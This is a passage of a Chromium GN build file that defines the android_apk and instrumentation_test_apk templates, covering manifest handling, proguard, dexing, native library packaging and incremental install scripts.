not apply\n  #     Use this instead of shared_libraries when you are going to load the library\n  #     conditionally, and only when shared_libraries doesn't work for you.\n  #   shared_libraries: List shared_library targets to bundle. If these\n  #     libraries depend on other shared_library targets, those dependencies will\n  #     also be included in the apk (e.g. for is_component_build).\n  #   secondary_abi_shared_libraries: secondary abi shared_library targets to\n  #     bundle. If these libraries depend on other shared_library targets, those\n  #     dependencies will also be included in the apk (e.g. for is_component_build).\n  #   native_lib_placeholders: List of placeholder filenames to add to the apk\n  #     (optional).\n  #   apk_under_test: For an instrumentation test apk, this is the target of the\n  #     tested apk.\n  #   include_all_resources - If true include all resource IDs in all generated\n  #     R.java files.\n  #   testonly: Marks this target as \"test-only\".\n  #   write_asset_list: Adds an extra file to the assets, which contains a list of\n  #     all other asset files.\n  #   requires_sdk_api_level_23: If defined and true, the apk is intended for\n  #     installation only on Android M or later. In these releases the system\n  #     linker does relocation unpacking, so we can enable it unconditionally.\n  #   secondary_native_libs (deprecated): The path of native libraries for secondary\n  #     app abi.\n  #   run_findbugs_override: Forces run_findbugs on or off. If undefined, the\n  #     default will use the build arg run_findbugs.\n  #   proguard_jar_path: The path to proguard.jar you wish to use. If undefined,\n  #     the proguard used will be the checked in one in //third_party/proguard.\n  #\n  # Example\n  #   android_apk(\"foo_apk\") {\n  #     android_manifest = \"AndroidManifest.xml\"\n  #     java_files = [\n  #       \"android/org/chromium/foo/FooApplication.java\",\n  #       \"android/org/chromium/foo/FooActivity.java\",\n  #     ]\n  #     deps = [\n  #       \":foo_support_java\"\n  #       \":foo_resources\"\n  #     ]\n  #     srcjar_deps = [\n  #       \":foo_generated_enum\"\n  #     ]\n  #     shared_libraries = [\n  #       \":my_shared_lib\",\n  #     ]\n  #   }\n  template(\"android_apk\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    assert(defined(invoker.final_apk_path) || defined(invoker.apk_name))\n    assert(defined(invoker.android_manifest))\n    gen_dir = \"$target_gen_dir/$target_name\"\n    base_path = \"$gen_dir/$target_name\"\n    _build_config = \"$target_gen_dir/$target_name.build_config\"\n    resources_zip_path = \"$base_path.resources.zip\"\n    _all_resources_zip_path = \"$base_path.resources.all.zip\"\n    _jar_path = \"$base_path.jar\"\n    _lib_dex_path = \"$base_path.dex.jar\"\n    _rebased_lib_dex_path = rebase_path(_lib_dex_path, root_build_dir)\n    _template_name = target_name\n\n    enable_multidex =\n        defined(invoker.enable_multidex) && invoker.enable_multidex\n    if (enable_multidex) {\n      final_dex_path = \"$gen_dir/classes.dex.zip\"\n    } else {\n      final_dex_path = \"$gen_dir/classes.dex\"\n    }\n    final_dex_target_name = \"${_template_name}__final_dex\"\n\n    _final_apk_path = \"\"\n    if (defined(invoker.final_apk_path)) {\n      _final_apk_path = invoker.final_apk_path\n    } else if (defined(invoker.apk_name)) {\n      _final_apk_path = \"$root_build_dir/apks/\" + invoker.apk_name + \".apk\"\n    }\n    _final_apk_path_no_ext_list =\n        process_file_template([ _final_apk_path ],\n                              \"{{source_dir}}/{{source_name_part}}\")\n    _final_apk_path_no_ext = _final_apk_path_no_ext_list[0]\n    assert(_final_apk_path_no_ext != \"\")  # Mark as used.\n\n    _install_script_name = \"install_$_template_name\"\n    if (defined(invoker.install_script_name)) {\n      _install_script_name = invoker.install_script_name\n    }\n    _incremental_install_script_path =\n        \"${root_out_dir}/bin/${_install_script_name}_incremental\"\n\n    _version_code = android_default_version_code\n    if (defined(invoker.version_code)) {\n      _version_code = invoker.version_code\n    }\n\n    _version_name = android_default_version_name\n    if (defined(invoker.version_name)) {\n      _version_name = invoker.version_name\n    }\n    _keystore_path = android_keystore_path\n    _keystore_name = android_keystore_name\n    _keystore_password = android_keystore_password\n\n    if (defined(invoker.keystore_path)) {\n      _keystore_path = invoker.keystore_path\n      _keystore_name = invoker.keystore_name\n      _keystore_password = invoker.keystore_password\n    }\n\n    _srcjar_deps = []\n    if (defined(invoker.srcjar_deps)) {\n      _srcjar_deps += invoker.srcjar_deps\n    }\n\n    _use_chromium_linker =\n        defined(invoker.use_chromium_linker) && invoker.use_chromium_linker\n    _enable_relocation_packing = defined(invoker.enable_relocation_packing) &&\n                                 invoker.enable_relocation_packing\n    _load_library_from_apk =\n        defined(invoker.load_library_from_apk) && invoker.load_library_from_apk\n    _requires_sdk_api_level_23 = defined(invoker.requires_sdk_api_level_23) &&\n                                 invoker.requires_sdk_api_level_23\n\n    assert(_use_chromium_linker || true)  # Mark as used.\n    assert(_requires_sdk_api_level_23 || true)\n    if (_enable_relocation_packing) {\n      assert(_use_chromium_linker || _requires_sdk_api_level_23,\n             \"enable_relocation_packing requires either use_chromium_linker \" +\n                 \"or requires_sdk_api_level_23\")\n    }\n    if (_load_library_from_apk) {\n      assert(_use_chromium_linker || _requires_sdk_api_level_23,\n             \"load_library_from_apk requires use_chromium_linker \" +\n                 \"or requires_sdk_api_level_23\")\n    }\n\n    # The dependency that makes the chromium linker, if any is needed.\n    _native_libs_deps = []\n    _shared_libraries_is_valid =\n        defined(invoker.shared_libraries) && invoker.shared_libraries != []\n    _secondary_abi_native_libs_deps = []\n    assert(_secondary_abi_native_libs_deps == [])  # mark as used.\n    _secondary_abi_shared_libraries_is_valid =\n        defined(invoker.secondary_abi_shared_libraries) &&\n        invoker.secondary_abi_shared_libraries != []\n\n    if (is_component_build || is_asan) {\n      if (_shared_libraries_is_valid) {\n        _native_libs_deps += [ \"//build/android:cpplib_stripped\" ]\n      }\n      if (_secondary_abi_shared_libraries_is_valid) {\n        _secondary_abi_native_libs_deps += [ \"//build/android:cpplib_stripped($android_secondary_abi_toolchain)\" ]\n      }\n    }\n\n    if (_shared_libraries_is_valid) {\n      _native_libs_deps += invoker.shared_libraries\n\n      # To determine the filenames of all dependent shared libraries, write the\n      # runtime deps of |shared_libraries| to a file during \"gn gen\".\n      # write_build_config.py will then grep this file for *.so to obtain the\n      # complete list.\n      _runtime_deps_file =\n          \"$target_gen_dir/${_template_name}.native.runtimedeps\"\n      group(\"${_template_name}__runtime_deps\") {\n        deps = _native_libs_deps\n        write_runtime_deps = _runtime_deps_file\n      }\n\n      _native_lib_version_rule = \"\"\n      if (defined(invoker.native_lib_version_rule)) {\n        _native_lib_version_rule = invoker.native_lib_version_rule\n      }\n      _native_lib_version_arg = \"\\\"\\\"\"\n      if (defined(invoker.native_lib_version_arg)) {\n        _native_lib_version_arg = invoker.native_lib_version_arg\n      }\n    }\n\n    if (_secondary_abi_shared_libraries_is_valid) {\n      _secondary_abi_native_libs_deps += invoker.secondary_abi_shared_libraries\n\n      # To determine the filenames of all dependent shared libraries, write the\n      # runtime deps of |shared_libraries| to a file during \"gn gen\".\n      # write_build_config.py will then grep this file for *.so to obtain the\n      # complete list.\n      _secondary_abi_runtime_deps_file =\n          \"$target_gen_dir/${_template_name}.secondary.abi.native.runtimedeps\"\n      group(\"${_template_name}_secondary_abi__runtime_deps\") {\n        deps = _secondary_abi_native_libs_deps\n        write_runtime_deps = _secondary_abi_runtime_deps_file\n      }\n    }\n\n    if (defined(invoker.deps)) {\n      set_sources_assignment_filter([ \"*manifest*\" ])\n      sources = invoker.deps\n      set_sources_assignment_filter([])\n      if (sources != invoker.deps) {\n        _bad_deps = invoker.deps - sources\n        assert(\n            false,\n            \"Possible manifest-generating dep found in deps. Use android_manifest_dep for this instead. Found: $_bad_deps\")\n      }\n      sources = []\n    }\n    _android_manifest_deps = []\n    if (defined(invoker.android_manifest_dep)) {\n      _android_manifest_deps = [ invoker.android_manifest_dep ]\n    }\n    _android_manifest = invoker.android_manifest\n\n    _rebased_build_config = rebase_path(_build_config, root_build_dir)\n    _create_abi_split =\n        defined(invoker.create_abi_split) && invoker.create_abi_split\n    _create_density_splits =\n        defined(invoker.create_density_splits) && invoker.create_density_splits\n    _create_language_splits =\n        defined(invoker.language_splits) && invoker.language_splits != []\n\n    # Help GN understand that _create_abi_split is not unused (bug in GN).\n    assert(_create_abi_split || true)\n\n    _proguard_enabled =\n        defined(invoker.proguard_enabled) && invoker.proguard_enabled\n    if (_proguard_enabled) {\n      _proguard_output_jar_path = \"$base_path.proguard.jar\"\n    }\n\n    _emma_never_instrument = defined(invoker.testonly) && invoker.testonly\n\n    build_config_target = \"${_template_name}__build_config\"\n    write_build_config(build_config_target) {\n      forward_variables_from(invoker, [ \"apk_under_test\" ])\n      type = \"android_apk\"\n      jar_path = _jar_path\n      dex_path = final_dex_path\n      apk_path = _final_apk_path\n      incremental_apk_path = \"${_final_apk_path_no_ext}_incremental.apk\"\n      incremental_install_script_path = _incremental_install_script_path\n      resources_zip = resources_zip_path\n      build_config = _build_config\n      android_manifest = _android_manifest\n\n      deps = _android_manifest_deps\n\n      if (defined(invoker.deps)) {\n        possible_config_deps = invoker.deps\n      }\n\n      # Added emma to the target's classpath via its .build_config.\n      if (emma_coverage && !_emma_never_instrument) {\n        possible_config_deps +=\n            [ \"//third_party/android_tools:emma_device_java\" ]\n      }\n\n      proguard_enabled = _proguard_enabled\n      if (_proguard_enabled) {\n        proguard_info = \"$_proguard_output_jar_path.info\"\n      }\n\n      # Don't depend on the runtime_deps target in order to avoid having to\n      # build the native libraries just to create the .build_config file.\n      # The dep is unnecessary since the runtime_deps file is created by gn gen\n      # and the runtime_deps file is added to write_build_config.py's depfile.\n      if (_native_libs_deps != []) {\n        shared_libraries_runtime_deps_file = _runtime_deps_file\n      }\n      if (_secondary_abi_native_libs_deps != []) {\n        secondary_abi_shared_libraries_runtime_deps_file =\n            _secondary_abi_runtime_deps_file\n      }\n    }\n\n    _final_deps = []\n\n    _generated_proguard_config = \"$base_path.resources.proguard.txt\"\n    process_resources_target = \"${_template_name}__process_resources\"\n    process_resources(process_resources_target) {\n      forward_variables_from(invoker,\n                             [\n                               \"alternative_android_sdk_jar\",\n                               \"android_aapt_path\",\n                               \"app_as_shared_lib\",\n                               \"include_all_resources\",\n                               \"shared_resources\",\n                             ])\n      srcjar_path = \"${target_gen_dir}/${target_name}.srcjar\"\n      r_text_path = \"${target_gen_dir}/${target_name}_R.txt\"\n      android_manifest = _android_manifest\n      resource_dirs = [ \"//build/android/ant/empty/res\" ]\n      zip_path = resources_zip_path\n      all_resources_zip_path = _all_resources_zip_path\n      generate_constant_ids = true\n      proguard_file = _generated_proguard_config\n\n      build_config = _build_config\n      deps = _android_manifest_deps + [ \":$build_config_target\" ]\n      if (defined(invoker.deps)) {\n        deps += invoker.deps\n      }\n    }\n    _srcjar_deps += [ \":$process_resources_target\" ]\n\n    if (_native_libs_deps != []) {\n      _enable_chromium_linker_tests = false\n      if (defined(invoker.enable_chromium_linker_tests)) {\n        _enable_chromium_linker_tests = invoker.enable_chromium_linker_tests\n      }\n      _ordered_libraries_json =\n          \"$target_gen_dir/$target_name.ordered_libararies.json\"\n      _rebased_ordered_libraries_json =\n          rebase_path(_ordered_libraries_json, root_build_dir)\n      _ordered_libraries_target = \"${_template_name}__write_ordered_libraries\"\n\n      # TODO(agrieve): Make GN write runtime deps in dependency order so as to\n      # not need this manual sorting step.\n      action(_ordered_libraries_target) {\n        script = \"//build/android/gyp/write_ordered_libraries.py\"\n        deps = _native_libs_deps + [ \":$build_config_target\" ]\n        outputs = [\n          _ordered_libraries_json,\n        ]\n        _rebased_android_readelf = rebase_path(android_readelf, root_build_dir)\n        args = [\n          \"--readelf=$_rebased_android_readelf\",\n          \"--output=$_rebased_ordered_libraries_json\",\n          \"--libraries-dir=.\",\n          \"--input-libraries=@FileArg($_rebased_build_config:native:libraries)\",\n        ]\n      }\n\n      java_cpp_template(\"${_template_name}__native_libraries_java\") {\n        package_name = \"org/chromium/base/library_loader\"\n        sources = [\n          \"//base/android/java/templates/NativeLibraries.template\",\n        ]\n        inputs = [\n          _ordered_libraries_json,\n        ]\n        deps = [\n          \":${_ordered_libraries_target}\",\n        ]\n        if (_native_lib_version_rule != \"\") {\n          deps += [ _native_lib_version_rule ]\n        }\n\n        defines = [\n          \"NATIVE_LIBRARIES_LIST=\" +\n              \"@FileArg($_rebased_ordered_libraries_json:java_libraries_list)\",\n          \"NATIVE_LIBRARIES_VERSION_NUMBER=$_native_lib_version_arg\",\n        ]\n        if (_use_chromium_linker) {\n          defines += [ \"ENABLE_CHROMIUM_LINKER\" ]\n        }\n        if (_load_library_from_apk) {\n          defines += [ \"ENABLE_CHROMIUM_LINKER_LIBRARY_IN_ZIP_FILE\" ]\n        }\n        if (_enable_chromium_linker_tests) {\n          defines += [ \"ENABLE_CHROMIUM_LINKER_TESTS\" ]\n        }\n      }\n      _srcjar_deps += [ \":${_template_name}__native_libraries_java\" ]\n    }\n\n    if (!defined(invoker.apk_under_test)) {\n      java_cpp_template(\"${_template_name}__build_config_java\") {\n        package_name = \"org/chromium/base\"\n        sources = [\n          \"//base/android/java/templates/BuildConfig.template\",\n        ]\n        deps = [\n          \":$build_config_target\",\n        ]\n\n        defines = []\n        if (enable_multidex) {\n          defines += [ \"ENABLE_MULTIDEX\" ]\n        }\n        if (is_java_debug || dcheck_always_on) {\n          defines += [ \"_DCHECK_IS_ON\" ]\n        }\n        defines += [\n          \"COMPRESSED_LOCALE_LIST=\" +\n              \"@FileArg($_rebased_build_config:compressed_locales_java_list)\",\n          \"UNCOMPRESSED_LOCALE_LIST=\" +\n              \"@FileArg($_rebased_build_config:uncompressed_locales_java_list)\",\n        ]\n      }\n      _srcjar_deps += [ \":${_template_name}__build_config_java\" ]\n    }\n\n    java_target = \"${_template_name}__java\"\n    java_library_impl(java_target) {\n      forward_variables_from(invoker,\n                             [\n                               \"chromium_code\",\n                               \"java_files\",\n                               \"run_findbugs_override\",\n                             ])\n      supports_android = true\n      requires_android = true\n      override_build_config = _build_config\n      deps = _android_manifest_deps + [ \":$build_config_target\" ]\n\n      android_manifest = _android_manifest\n      srcjar_deps = _srcjar_deps\n      jar_path = _jar_path\n      dex_path = _lib_dex_path\n      emma_never_instrument = _emma_never_instrument\n\n      if (defined(invoker.deps)) {\n        deps += invoker.deps\n      }\n      if (defined(invoker.apk_under_test)) {\n        deps += [ \"${invoker.apk_under_test}__java\" ]\n      }\n      if (emma_coverage && !_emma_never_instrument) {\n        deps += [ \"//third_party/android_tools:emma_device_java\" ]\n      }\n    }\n\n    # TODO(cjhopman): This is only ever needed to calculate the list of tests to\n    # run. See build/android/pylib/instrumentation/test_jar.py. We should be\n    # able to just do that calculation at build time instead.\n    if (defined(invoker.dist_ijar_path)) {\n      _dist_ijar_path = invoker.dist_ijar_path\n      action(\"${_template_name}_dist_ijar\") {\n        script = \"//build/android/gyp/create_dist_jar.py\"\n        depfile = \"$target_gen_dir/$target_name.d\"\n        inputs = [\n          _build_config,\n        ]\n        outputs = [\n          \"${_dist_ijar_path}\",\n        ]\n        data = [\n          _dist_ijar_path,\n        ]\n        args = [\n          \"--depfile\",\n          rebase_path(depfile, root_build_dir),\n          \"--output\",\n          rebase_path(\"${_dist_ijar_path}\", root_build_dir),\n          \"--inputs=@FileArg($_rebased_build_config:dist_jar:all_interface_jars)\",\n        ]\n        deps = [\n          \":$build_config_target\",  # Generates the build config file.\n          \":$java_target\",  # Generates the jar file.\n        ]\n      }\n    }\n\n    if (_proguard_enabled) {\n      _proguard_configs = [ _generated_proguard_config ]\n      if (defined(invoker.proguard_configs)) {\n        _proguard_configs += invoker.proguard_configs\n      }\n      assert(_proguard_configs != [])  # Mark as used.\n      _proguard_target = \"${_template_name}__proguard\"\n      proguard(_proguard_target) {\n        forward_variables_from(invoker,\n                               [\n                                 \"alternative_android_sdk_jar\",\n                                 \"deps\",\n                                 \"proguard_jar_path\",\n                               ])\n        if (!defined(deps)) {\n          deps = []\n        }\n        deps += [\n          \":$build_config_target\",\n          \":$java_target\",\n          \":$process_resources_target\",\n        ]\n        inputs = [\n                   _build_config,\n                   _jar_path,\n                 ] + _proguard_configs\n\n        output_jar_path = _proguard_output_jar_path\n        _rebased_proguard_configs =\n            rebase_path(_proguard_configs, root_build_dir)\n        args = [\n          \"--proguard-configs=$_rebased_proguard_configs\",\n          \"--proguard-configs=@FileArg($_rebased_build_config:proguard:lib_configs)\",\n          \"--input-paths=@FileArg($_rebased_build_config:proguard:input_paths)\",\n          \"--classpath=@FileArg($_rebased_build_config:proguard:lib_paths)\",\n        ]\n        if (defined(invoker.apk_under_test)) {\n          deps += [\n            \"${invoker.apk_under_test}__build_config\",\n            \"${invoker.apk_under_test}__proguard\",\n          ]\n          _apk_under_test_build_config =\n              get_label_info(invoker.apk_under_test, \"target_gen_dir\") + \"/\" +\n              get_label_info(invoker.apk_under_test, \"name\") + \".build_config\"\n          _rebased_apk_under_test_build_config =\n              rebase_path(_apk_under_test_build_config, root_build_dir)\n          args += [ \"--tested-apk-info=@FileArg($_rebased_apk_under_test_build_config:deps_info:proguard_info)\" ]\n        }\n      }\n      _dex_sources = [ _proguard_output_jar_path ]\n      _dex_deps = [ \":$_proguard_target\" ]\n\n      _copy_proguard_mapping_target = \"${_template_name}__copy_proguard_mapping\"\n      copy(_copy_proguard_mapping_target) {\n        sources = [\n          \"$_proguard_output_jar_path.mapping\",\n        ]\n        outputs = [\n          \"$_final_apk_path.mapping\",\n        ]\n        deps = [\n          \":$_proguard_target\",\n        ]\n      }\n    } else {\n      if (enable_multidex) {\n        _dex_sources = [ _jar_path ]\n      } else {\n        _dex_sources = [ _lib_dex_path ]\n      }\n      _dex_deps = [ \":$java_target\" ]\n    }\n\n    dex(\"$final_dex_target_name\") {\n      deps = _dex_deps + [ \":$build_config_target\" ]\n      inputs = [\n        _build_config,\n      ]\n      sources = _dex_sources\n      output = final_dex_path\n\n      # All deps are already included in _dex_sources when proguard is used.\n      if (!_proguard_enabled) {\n        if (enable_multidex) {\n          _dex_arg_key = \"${_rebased_build_config}:dist_jar:dependency_jars\"\n        } else {\n          _dex_arg_key =\n              \"${_rebased_build_config}:final_dex:dependency_dex_files\"\n        }\n        args = [ \"--inputs=@FileArg($_dex_arg_key)\" ]\n      }\n    }\n\n    _native_libs_file_arg_dep = \":$build_config_target\"\n    _native_libs_file_arg = \"@FileArg($_rebased_build_config:native:libraries)\"\n    _secondary_abi_native_libs_file_arg_dep = \":$build_config_target\"\n    _secondary_abi_native_libs_file_arg =\n        \"@FileArg($_rebased_build_config:native:secondary_abi_libraries)\"\n    assert(_secondary_abi_native_libs_file_arg != \"\" &&\n           _secondary_abi_native_libs_file_arg_dep != \"\")  # Mark as used.\n\n    if (_native_libs_deps != [] && _enable_relocation_packing) {\n      _prepare_native_target_name = \"${_template_name}__prepare_native\"\n      _native_libs_json = \"$gen_dir/packed-libs/filelist.json\"\n      _rebased_native_libs_json = rebase_path(_native_libs_json, root_build_dir)\n      _native_libs_file_arg_dep = \":$_prepare_native_target_name\"\n      _native_libs_file_arg = \"@FileArg($_rebased_native_libs_json:files)\"\n\n      pack_relocation_section(_prepare_native_target_name) {\n        forward_variables_from(invoker,\n                               [\n                                 \"deps\",\n                                 \"public_deps\",\n                               ])\n        file_list_json = _native_libs_json\n        libraries_filearg =\n            \"@FileArg(${_rebased_build_config}:native:libraries)\"\n        inputs = [\n          _build_config,\n        ]\n\n        deps += _native_libs_deps\n        deps += [ \":$build_config_target\" ]\n      }\n      if (_secondary_abi_native_libs_deps != []) {\n        _prepare_native_target_name =\n            \"${_template_name}_secondary_abi__prepare_native\"\n        _native_libs_json =\n            \"$gen_dir/packed-libs/$android_secondary_abi_cpu/filelist.json\"\n        _rebased_native_libs_json =\n            rebase_path(_native_libs_json, root_build_dir)\n        _secondary_abi_native_libs_file_arg_dep =\n            \":$_prepare_native_target_name\"\n        _secondary_abi_native_libs_file_arg =\n            \"@FileArg($_rebased_native_libs_json:files)\"\n\n        pack_relocation_section(_prepare_native_target_name) {\n          forward_variables_from(invoker,\n                                 [\n                                   \"deps\",\n                                   \"public_deps\",\n                                 ])\n          file_list_json = _native_libs_json\n          libraries_filearg = \"@FileArg(${_rebased_build_config}:native:secondary_abi_libraries)\"\n          inputs = [\n            _build_config,\n          ]\n\n          deps += _secondary_abi_native_libs_deps\n          deps += [ \":$build_config_target\" ]\n        }\n      }\n    }\n\n    _extra_native_libs = []\n    _extra_native_libs_deps = []\n    _extra_native_libs_even_when_incremental = []\n    _extra_native_libs_even_when_incremental_deps = []\n    assert(_extra_native_libs_even_when_incremental_deps == [])  # Mark as used.\n    if (_native_libs_deps != []) {\n      # zipalign can't align gdb_server, don't pack gdbserver temporarily.\n      if (is_debug && (!defined(invoker.page_align_shared_libraries) ||\n                       !invoker.page_align_shared_libraries)) {\n        _extra_native_libs_even_when_incremental = [ android_gdbserver ]\n      }\n\n      if (_use_chromium_linker) {\n        _extra_native_libs =\n            [ \"$root_shlib_dir/libchromium_android_linker$shlib_extension\" ]\n        _extra_native_libs_deps +=\n            [ \"//base/android/linker:chromium_android_linker\" ]\n      }\n    }\n    if (defined(invoker.loadable_modules) && invoker.loadable_modules != []) {\n      _extra_native_libs_even_when_incremental += invoker.loadable_modules\n    }\n\n    _final_deps += [ \":${_template_name}__create\" ]\n    create_apk(\"${_template_name}__create\") {\n      forward_variables_from(invoker,\n                             [\n                               \"alternative_android_sdk_jar\",\n                               \"android_aapt_path\",\n                               \"app_as_shared_lib\",\n                               \"deps\",\n                               \"extensions_to_not_compress\",\n                               \"language_splits\",\n                               \"page_align_shared_libraries\",\n                               \"public_deps\",\n                               \"secondary_native_libs\",\n                               \"shared_resources\",\n                               \"uncompress_shared_libraries\",\n                               \"write_asset_list\",\n                             ])\n      if (!defined(deps)) {\n        deps = []\n      }\n      apk_path = _final_apk_path\n      android_manifest = _android_manifest\n      assets_build_config = _build_config\n      resources_zip = _all_resources_zip_path\n      dex_path = final_dex_path\n      load_library_from_apk = _load_library_from_apk\n      create_density_splits = _create_density_splits\n      emma_instrument = emma_coverage && !_emma_never_instrument\n\n      if (!defined(extensions_to_not_compress)) {\n        # Allow icu data, v8 snapshots, and pak files to be loaded directly from\n        # the .apk.\n        # Note: These are actually suffix matches, not necessarily extensions.\n        extensions_to_not_compress = \".dat,.bin,.pak\"\n      }\n\n      version_code = _version_code\n      version_name = _version_name\n\n      keystore_name = _keystore_name\n      keystore_path = _keystore_path\n      keystore_password = _keystore_password\n\n      # Incremental apk does not use native libs nor final dex.\n      incremental_deps = deps + _android_manifest_deps + [\n                           \":$build_config_target\",\n                           \":$process_resources_target\",\n                         ]\n\n      # This target generates the input file _all_resources_zip_path.\n      deps += _android_manifest_deps + [\n                \":$build_config_target\",\n                \":$process_resources_target\",\n                \":$final_dex_target_name\",\n              ]\n\n      if ((_native_libs_deps != [] ||\n           _extra_native_libs_even_when_incremental != []) &&\n          !_create_abi_split) {\n        deps += _native_libs_deps + _extra_native_libs_deps +\n                _extra_native_libs_even_when_incremental_deps +\n                [ _native_libs_file_arg_dep ]\n        native_libs_filearg = _native_libs_file_arg\n        native_libs = _extra_native_libs\n        native_libs_even_when_incremental =\n            _extra_native_libs_even_when_incremental\n      }\n\n      if (_secondary_abi_native_libs_deps != [] && !_create_abi_split) {\n        deps += _secondary_abi_native_libs_deps +\n                [ _secondary_abi_native_libs_file_arg_dep ]\n        secondary_abi_native_libs_filearg = _secondary_abi_native_libs_file_arg\n      }\n\n      # Placeholders necessary for some older devices.\n      # http://crbug.com/395038\n      forward_variables_from(invoker, [ \"native_lib_placeholders\" ])\n    }\n\n    if ((_native_libs_deps != [] ||\n         _extra_native_libs_even_when_incremental != []) && _create_abi_split) {\n      _manifest_rule =\n          \"${_template_name}__split_manifest_abi_${android_app_abi}\"\n      generate_split_manifest(_manifest_rule) {\n        main_manifest = _android_manifest\n        out_manifest =\n            \"$gen_dir/split-manifests/${android_app_abi}/AndroidManifest.xml\"\n        split_name = \"abi_${android_app_abi}\"\n        deps = _android_manifest_deps\n      }\n\n      _apk_rule = \"${_template_name}__split_apk_abi_${android_app_abi}\"\n      _final_deps += [ \":$_apk_rule\" ]\n\n      create_apk(_apk_rule) {\n        apk_path = \"${_final_apk_path_no_ext}-abi-${android_app_abi}.apk\"\n        base_path = \"$gen_dir/$_apk_rule\"\n\n        manifest_outputs = get_target_outputs(\":${_manifest_rule}\")\n        android_manifest = manifest_outputs[1]\n        load_library_from_apk = _load_library_from_apk\n\n        version_code = _version_code\n        version_name = _version_name\n\n        keystore_name = _keystore_name\n        keystore_path = _keystore_path\n        keystore_password = _keystore_password\n\n        # Placeholders necessary for some older devices.\n        # http://crbug.com/395038\n        deps = []\n        forward_variables_from(invoker,\n                               [\n                                 \"alternative_android_sdk_jar\",\n                                 \"android_aapt_path\",\n                                 \"deps\",\n                                 \"native_lib_placeholders\",\n                                 \"public_deps\",\n                               ])\n\n        incremental_deps =\n            deps + _extra_native_libs_even_when_incremental_deps +\n            [ \":$_manifest_rule\" ]\n        deps = []\n        deps = incremental_deps + _native_libs_deps + _extra_native_libs_deps +\n               [ _native_libs_file_arg_dep ]\n        native_libs_filearg = _native_libs_file_arg\n        native_libs = _extra_native_libs\n        native_libs_even_when_incremental =\n            _extra_native_libs_even_when_incremental\n      }\n    }\n\n    _create_incremental_script_rule_name =\n        \"${_template_name}__incremental_script\"\n    action(_create_incremental_script_rule_name) {\n      script = \"//build/android/incremental_install/create_install_script.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n      deps = [\n        _native_libs_file_arg_dep,\n      ]\n\n      outputs = [\n        _incremental_install_script_path,\n      ]\n\n      _rebased_apk_path_no_ext =\n          rebase_path(_final_apk_path_no_ext, root_build_dir)\n      _rebased_incremental_install_script_path =\n          rebase_path(_incremental_install_script_path, root_build_dir)\n      _rebased_depfile = rebase_path(depfile, root_build_dir)\n      _dex_arg_key = \"${_rebased_build_config}:final_dex:dependency_dex_files\"\n      args = [\n        \"--apk-path=${_rebased_apk_path_no_ext}_incremental.apk\",\n        \"--script-output-path=$_rebased_incremental_install_script_path\",\n        \"--dex-file=$_rebased_lib_dex_path\",\n        \"--dex-file-list=@FileArg($_dex_arg_key)\",\n        \"--depfile=$_rebased_depfile\",\n      ]\n      if (_proguard_enabled) {\n        args += [ \"--show-proguard-warning\" ]\n      }\n      if (defined(_native_libs_file_arg)) {\n        args += [ \"--native-libs=$_native_libs_file_arg\" ]\n      }\n      if (_extra_native_libs != []) {\n        # Don't pass in _extra_native_libs_even_when_incremental, since these are\n        # end up in the apk and are not side-loaded.\n        _rebased_extra_native_libs =\n            rebase_path(_extra_native_libs, root_build_dir)\n        args += [ \"--native-libs=$_rebased_extra_native_libs\" ]\n      }\n      if (_create_density_splits) {\n        args += [ \"--split=${_rebased_apk_path_no_ext}-density-*.apk\" ]\n      }\n      if (_create_language_splits) {\n        args += [ \"--split=${_rebased_apk_path_no_ext}-language-*.apk\" ]\n      }\n      if (_load_library_from_apk) {\n        args += [ \"--dont-even-try=Incremental builds do not work with load_library_from_apk. Try setting is_component_build=true in your GN args.\" ]\n      }\n    }\n\n    group(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"data\",\n                               \"data_deps\",\n                             ])\n      public_deps = _final_deps\n\n      # Make the proguard .mapping file easy to find by putting it beside the .apk.\n      if (_proguard_enabled) {\n        deps = [\n          \":$_copy_proguard_mapping_target\",\n        ]\n      }\n    }\n    group(\"${target_name}_incremental\") {\n      forward_variables_from(invoker,\n                             [\n                               \"data\",\n                               \"data_deps\",\n                             ])\n      if (!defined(data_deps)) {\n        data_deps = []\n      }\n\n      # device/commands is used by the installer script to push files via .zip.\n      data_deps += [ \"//build/android/pylib/device/commands\" ] +\n                   _native_libs_deps + _extra_native_libs_deps\n\n      # Since the _incremental.apk does not include use .so nor .dex from the\n      # actual target, but instead loads them at runtime, we need to explicitly\n      # depend on them here.\n      public_deps = [\n        \":${_create_incremental_script_rule_name}\",\n        \":${_template_name}__create_incremental\",\n        \":${java_target}\",\n      ]\n    }\n  }\n\n  # Declare an Android instrumentation test apk\n  #\n  # This target creates an Android instrumentation test apk.\n  #\n  # Variables\n  #   android_manifest: Path to AndroidManifest.xml.\n  #   data_deps: List of dependencies needed at runtime. These will be built but\n  #     won't change the generated .apk in any way (in fact they may be built\n  #     after the .apk is).\n  #   deps: List of dependencies. All Android java resources and libraries in the\n  #     \"transitive closure\" of these dependencies will be included in the apk.\n  #     Note: this \"transitive closure\" actually only includes such targets if\n  #     they are depended on through android_library or android_resources targets\n  #     (and so not through builtin targets like 'action', 'group', etc).\n  #   java_files: List of .java files to include in the apk.\n  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars\n  #      will be added to java_files and be included in this apk.\n  #   apk_name: Name for final apk.\n  #   final_apk_path: Path to final built apk. Default is\n  #     $root_out_dir/apks/$apk_name.apk. Setting this will override apk_name.\n  #   shared_libraries: List shared_library targets to bundle. If these\n  #     libraries depend on other shared_library targets, those dependencies will\n  #     also be included in the apk (e.g. for is_component_build).\n  #   apk_under_test: The apk being tested.\n  #\n  # Example\n  #   instrumentation_test_apk(\"foo_test_apk\") {\n  #     android_manifest = \"AndroidManifest.xml\"\n  #     apk_name = \"FooTest\"\n  #     apk_under_test = \"Foo\"\n  #     java_files = [\n  #       \"android/org/chromium/foo/FooTestCase.java\",\n  #       \"android/org/chromium/foo/FooExampleTest.java\",\n  #     ]\n  #     deps = [\n  #       \":foo_test_support_java\"\n  #     ]\n  #   }\n  template(\"instrumentation_test_apk\") {\n    assert(defined(invoker.apk_name))\n    testonly = true\n    _apk_target_name = \"${target_name}__apk\"\n    _test_runner_target_name = \"${target_name}__test_runner_script\"\n    _install_script_name = \"install_$target_name\"\n    _dist_ijar_path =\n        \"$root_build_dir/test.lib.java/\" + invoker.apk_name + \".jar\"\n\n    test_runner_script(_test_runner_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"additional_apks\",\n                               \"apk_under_test\",\n                               \"data\",\n                               \"data_deps\",\n                               